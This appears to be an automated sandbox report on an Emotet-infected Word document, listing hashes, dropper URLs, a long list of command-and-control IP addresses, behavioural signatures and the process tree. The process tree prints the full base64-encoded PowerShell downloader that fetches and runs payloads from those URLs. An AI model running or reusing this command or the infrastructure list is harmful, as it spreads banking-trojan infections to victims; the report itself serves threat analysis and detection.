emotet | 33624b9d31b189eda28dd4ac76bea17844e79f229e8aff90f0a7f0e56ef90860

Analysis

max time kernel
139s
max time network
145s
platform
windows10_x64
resource
win10v200722
submitted
23/09/2020, 11:37

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General

Target
Dokumente_23_09_2020_7148507587.doc
Size 158KB
Sample200923-92txb2mv16
SHA256 33624b9d31b189eda28dd4ac76bea17844e79f229e8aff90f0a7f0e56ef90860
MD5 ca58c5fd5d453d0fd31e8e51d6f23405
SHA1 a8af228b31de319012ce32687e263ddca87d26cd
SHA512 c5e442d416ed18442e7dc64db52667ae42f79ca61f34ce4e8d93a5b905968c594e89e4b180b92d9f053a0a9ff9f43ba46c3db0062c3813f42487aaf16c1f62db
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://prestokitchens.com/recurringo/fRe/
exe.dropper
http://www.djraisor.com/error/w7G3/
exe.dropper
http://dakarbuzz.net/css/CyKg/
exe.dropper
https://wildecapitalmgmt.net/wp-content/j6/
exe.dropper
http://californiaasa.com/californiaasa.com/8t/
exe.dropper
http://viralbrown.com/e3c0ngfjc/N/
exe.dropper
http://kharazmischl.com/w/

Extracted

Family

emotet

108.46.29.236:80
159.203.116.47:8080
173.249.6.108:443
94.124.59.22:8080
94.200.114.161:80
139.130.242.43:80
134.209.36.254:8080
74.208.45.104:8080
139.162.108.71:8080
47.144.21.12:443
95.213.236.64:8080
201.173.217.124:443
85.105.205.77:8080
85.152.162.105:80
153.137.36.142:80
87.106.136.232:8080
87.106.139.101:8080
213.196.135.145:80
67.10.155.92:80
168.235.67.138:7080
157.245.99.39:8080
66.65.136.14:80
62.30.7.67:443
156.155.166.221:80
185.94.252.104:443
209.141.54.221:8080
79.98.24.39:8080
123.176.25.234:80
172.104.97.173:8080
139.162.60.124:8080
74.120.55.163:80
94.1.108.190:443
181.169.34.190:80
220.245.198.194:80
121.7.31.214:80
24.43.32.186:80
104.32.141.43:80
104.131.44.150:8080
68.188.112.97:80
50.35.17.13:80
172.91.208.86:80
37.139.21.175:8080
97.82.79.83:80
200.123.150.89:443
91.211.88.52:7080
104.131.11.150:443
103.86.49.11:8080
89.216.122.92:80
195.7.12.8:80
109.74.5.95:8080
137.119.36.33:80
219.75.128.166:80
137.59.187.107:8080
104.236.246.93:8080
187.161.206.24:80
93.147.212.206:80
71.72.196.159:80
24.179.13.119:80
113.61.66.94:80
121.7.127.163:80
1.221.254.82:80
74.134.41.124:80
24.137.76.62:80
110.145.77.103:80
139.59.60.244:8080
94.23.237.171:443
139.99.158.11:443
216.139.123.119:80
42.200.107.142:80
50.91.114.38:80
75.139.38.211:80
176.111.60.55:8080
162.241.242.173:8080
5.39.91.110:7080
61.19.246.238:443
219.74.18.66:443
46.105.131.79:8080
62.75.141.82:80
82.80.155.43:80
121.124.124.40:7080
188.219.31.12:80
96.249.236.156:443
120.150.60.189:80
124.41.215.226:80
74.219.172.26:80
107.5.122.110:80
83.169.36.251:8080
200.114.213.233:8080
194.187.133.160:443
140.186.212.146:80
5.196.74.210:8080
203.153.216.189:7080
174.45.13.118:80
104.251.33.179:80
78.24.219.147:8080
78.187.156.31:80
190.240.194.77:443
79.137.83.50:443
24.43.99.75:80
37.187.72.193:8080
61.92.17.12:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3960	3904	POWeRsHeLL.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/752-16-0x0000000002180000-0x0000000002192000-memory.dmp	emotet
behavioral2/memory/752-16-0x0000000002180000-0x0000000002192000-memory.dmp	emotet
behavioral2/memory/752-17-0x00000000005D0000-0x00000000005E0000-memory.dmp	emotet
behavioral2/memory/752-17-0x00000000005D0000-0x00000000005E0000-memory.dmp	emotet
behavioral2/memory/3804-20-0x0000000002040000-0x0000000002052000-memory.dmp	emotet
behavioral2/memory/3804-20-0x0000000002040000-0x0000000002052000-memory.dmp	emotet
behavioral2/memory/3804-21-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/3804-21-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
23	3960	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
752	Zc1o6l.exe
3804	dxmasf.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\txflog\dxmasf.exe	Zc1o6l.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3956	WINWORD.EXE
3956	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3960	POWeRsHeLL.exe
3960	POWeRsHeLL.exe
3960	POWeRsHeLL.exe
3804	dxmasf.exe
3804	dxmasf.exe
3804	dxmasf.exe
3804	dxmasf.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3960	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3960 wrote to memory of 752	3960	POWeRsHeLL.exe	79
PID 3960 wrote to memory of 752	3960	POWeRsHeLL.exe	79
PID 3960 wrote to memory of 752	3960	POWeRsHeLL.exe	79
PID 752 wrote to memory of 3804	752	Zc1o6l.exe	81
PID 752 wrote to memory of 3804	752	Zc1o6l.exe	81
PID 752 wrote to memory of 3804	752	Zc1o6l.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Dokumente_23_09_2020_7148507587.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3956

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABQAGgAYQA5AG4AOABzAD0AKAAnAFEAJwArACcAbAAnACsAKAAnADgAJwArACcAbwBfAGYAaAAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUATgBWADoAVQBzAGUAUgBQAFIATwBGAEkAbABFAFwAVwBnAF8AXwAzAE0ARABcAHYAUABuAHkAMgA0AFYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBDAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAHUAUgBJAHQAYABZAGAAcAByAE8AdABvAEMAbwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAJwArACcAMQAyACwAIAAnACsAJwB0ACcAKQArACgAJwBsAHMAJwArACcAMQAnACkAKwAoACcAMQAnACsAJwAsACAAdAAnACkAKwAnAGwAJwArACcAcwAnACkAOwAkAEwAbgBjADgAYwBsAHkAIAA9ACAAKAAoACcAWgAnACsAJwBjADEAJwApACsAKAAnAG8AJwArACcANgBsACcAKQApADsAJABIAGEAdgBrAGMAYQBkAD0AKAAnAFIAMwAnACsAKAAnADEAbQA2AGwAJwArACcAMgAnACkAKQA7ACQAUABlADEAZQByAG4AMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAEsAJwArACcAYgBRACcAKQArACcAVwBnACcAKwAnAF8AXwAnACsAKAAnADMAbQBkACcAKwAnAEsAYgAnACsAJwBRAFYAcABuACcAKQArACgAJwB5ADIAJwArACcANAAnACkAKwAoACcAdgAnACsAJwBLAGIAJwApACsAJwBRACcAKQAgACAALQBSAGUAUABMAEEAQwBlACAAIAAoACcASwBiACcAKwAnAFEAJwApACwAWwBjAEgAYQByAF0AOQAyACkAKwAkAEwAbgBjADgAYwBsAHkAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABaAHoANgBuAHEAcAAxAD0AKAAnAFMAaQAnACsAKAAnAG4AeQB5ACcAKwAnAGMAaAAnACkAKQA7ACQARQA3ADIAdwBiAGQAYQA9AC4AKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AGUAYgBjAEwAaQBlAE4AVAA7ACQATQBuAHYAbgAyAGMAYgA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAvACcAKQArACgAJwBwAHIAZQAnACsAJwBzAHQAJwApACsAKAAnAG8AawAnACsAJwBpAHQAYwAnACkAKwAoACcAaABlACcAKwAnAG4AcwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwByACcAKwAnAGUAJwApACsAKAAnAGMAdQByACcAKwAnAHIAJwApACsAJwBpACcAKwAnAG4AJwArACcAZwBvACcAKwAoACcALwAnACsAJwBmAFIAJwApACsAKAAnAGUAJwArACcALwAqAGgAdAB0ACcAKQArACcAcAAnACsAKAAnADoALwAvACcAKwAnAHcAJwArACcAdwB3ACcAKQArACgAJwAuACcAKwAnAGQAagAnACkAKwAoACcAcgAnACsAJwBhAGkAJwApACsAKAAnAHMAbwByAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AZQAnACkAKwAoACcAcgAnACsAJwByAG8AJwApACsAKAAnAHIAJwArACcALwB3ADcARwAnACkAKwAnADMALwAnACsAKAAnACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGQAJwArACcAYQAnACkAKwAnAGsAYQAnACsAJwByACcAKwAoACcAYgB1AHoAegAuACcAKwAnAG4AZQAnACsAJwB0AC8AYwBzACcAKwAnAHMALwAnACsAJwBDAHkASwAnACsAJwBnAC8AJwArACcAKgBoAHQAJwApACsAJwB0AHAAJwArACcAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAHcAaQBsACcAKwAnAGQAJwApACsAKAAnAGUAJwArACcAYwBhACcAKQArACcAcAAnACsAJwBpAHQAJwArACgAJwBhACcAKwAnAGwAbQBnACcAKQArACcAbQB0ACcAKwAoACcALgAnACsAJwBuACcAKwAnAGUAdAAvAHcAJwArACcAcAAtAGMAbwAnACkAKwAoACcAbgB0AGUAbgAnACsAJwB0AC8AJwArACcAagAnACkAKwAnADYAJwArACgAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAnACkAKwAnAC8AJwArACgAJwAvACcAKwAnAGMAYQBsACcAKwAnAGkAZgBvAHIAJwApACsAKAAnAG4AaQBhAGEAcwBhACcAKwAnAC4AYwBvAG0ALwBjAGEAJwArACcAbABpAGYAJwArACcAbwAnACkAKwAnAHIAbgAnACsAKAAnAGkAYQAnACsAJwBhAHMAYQAnACkAKwAnAC4AYwAnACsAJwBvAG0AJwArACgAJwAvACcAKwAnADgAdAAnACkAKwAoACcALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwADoALwAvAHYAJwArACcAaQByACcAKQArACcAYQAnACsAKAAnAGwAJwArACcAYgByAG8AdwAnACsAJwBuAC4AJwArACcAYwBvAG0ALwBlACcAKwAnADMAYwAnACkAKwAnADAAbgAnACsAJwBnACcAKwAnAGYAagAnACsAKAAnAGMAJwArACcALwBOACcAKQArACgAJwAvACoAJwArACcAaAB0AHQAJwArACcAcAA6ACcAKQArACcALwAnACsAKAAnAC8AJwArACcAawBoACcAKQArACgAJwBhAHIAJwArACcAYQB6AG0AaQAnACsAJwBzAGMAaABsAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACcALwB3ACcAKwAnAC8AJwApAC4AIgBzAGAAUABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAcQAxADgANAB4AHAAPQAoACcATgAnACsAJwAzAGoAJwArACgAJwB3ACcAKwAnAGsANABtACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQASQB5AHoAdgB2ADUAawAgAGkAbgAgACQATQBuAHYAbgAyAGMAYgApAHsAdAByAHkAewAkAEUANwAyAHcAYgBkAGEALgAiAGQATwB3AGAATgBMAE8AYQBkAGYASQBgAGwARQAiACgAJABJAHkAegB2AHYANQBrACwAIAAkAFAAZQAxAGUAcgBuADIAKQA7ACQARwA1ADIAegBhADAAbAA9ACgAJwBIAHAAJwArACgAJwB2ADYAJwArACcAeQBwADcAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUABlADEAZQByAG4AMgApAC4AIgBMAGUATgBnAGAAVABIACIAIAAtAGcAZQAgADMAMQA3ADcANwApACAAewAmACgAJwBJAG4AJwArACcAdgAnACsAJwBvAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABQAGUAMQBlAHIAbgAyACkAOwAkAEcAYwBwAHYANgByAG0APQAoACcAVAA1ACcAKwAnAHoAJwArACgAJwBnAGQAJwArACcANwA3ACcAKQApADsAYgByAGUAYQBrADsAJABSAHAANgBtAHMAcgBsAD0AKAAoACcAVwB3ACcAKwAnAG4AYwB2ACcAKQArACcAcgBkACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBjAGIAMgA5AGQAcAA9ACgAJwBLACcAKwAoACcAcQBrACcAKwAnAGUAeAAnACkAKwAnAHoAaAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3960
- C:\Users\Admin\Wg__3md\Vpny24v\Zc1o6l.exe
  "C:\Users\Admin\Wg__3md\Vpny24v\Zc1o6l.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:752
- - C:\Windows\SysWOW64\txflog\dxmasf.exe
    "C:\Windows\SysWOW64\txflog\dxmasf.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3804

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/752-17-0x00000000005D0000-0x00000000005E0000-memory.dmp

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memory/752-16-0x0000000002180000-0x0000000002192000-memory.dmp

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memory/3804-21-0x00000000001F0000-0x0000000000200000-memory.dmp

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memory/3804-20-0x0000000002040000-0x0000000002052000-memory.dmp

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memory/3956-7-0x000002285AC5B000-0x000002285AC6C000-memory.dmp

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memory/3956-9-0x000002285AC5B000-0x000002285AC6C000-memory.dmp

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memory/3956-8-0x000002285AC5B000-0x000002285AC6C000-memory.dmp

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memory/3956-0-0x00007FF901DC0000-0x00007FF902486000-memory.dmp

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memory/3956-6-0x000002285AC5B000-0x000002285AC6C000-memory.dmp

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memory/3956-5-0x000002285AC5B000-0x000002285AC6C000-memory.dmp

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memory/3956-4-0x000002285AFAF000-0x000002285AFB2000-memory.dmp

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memory/3960-12-0x000001CC1FF80000-0x000001CC1FF81000-memory.dmp

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memory/3960-11-0x000001CC1FC60000-0x000001CC1FC61000-memory.dmp

Download

memory/3960-10-0x00007FF8FA560000-0x00007FF8FAF4C000-memory.dmp

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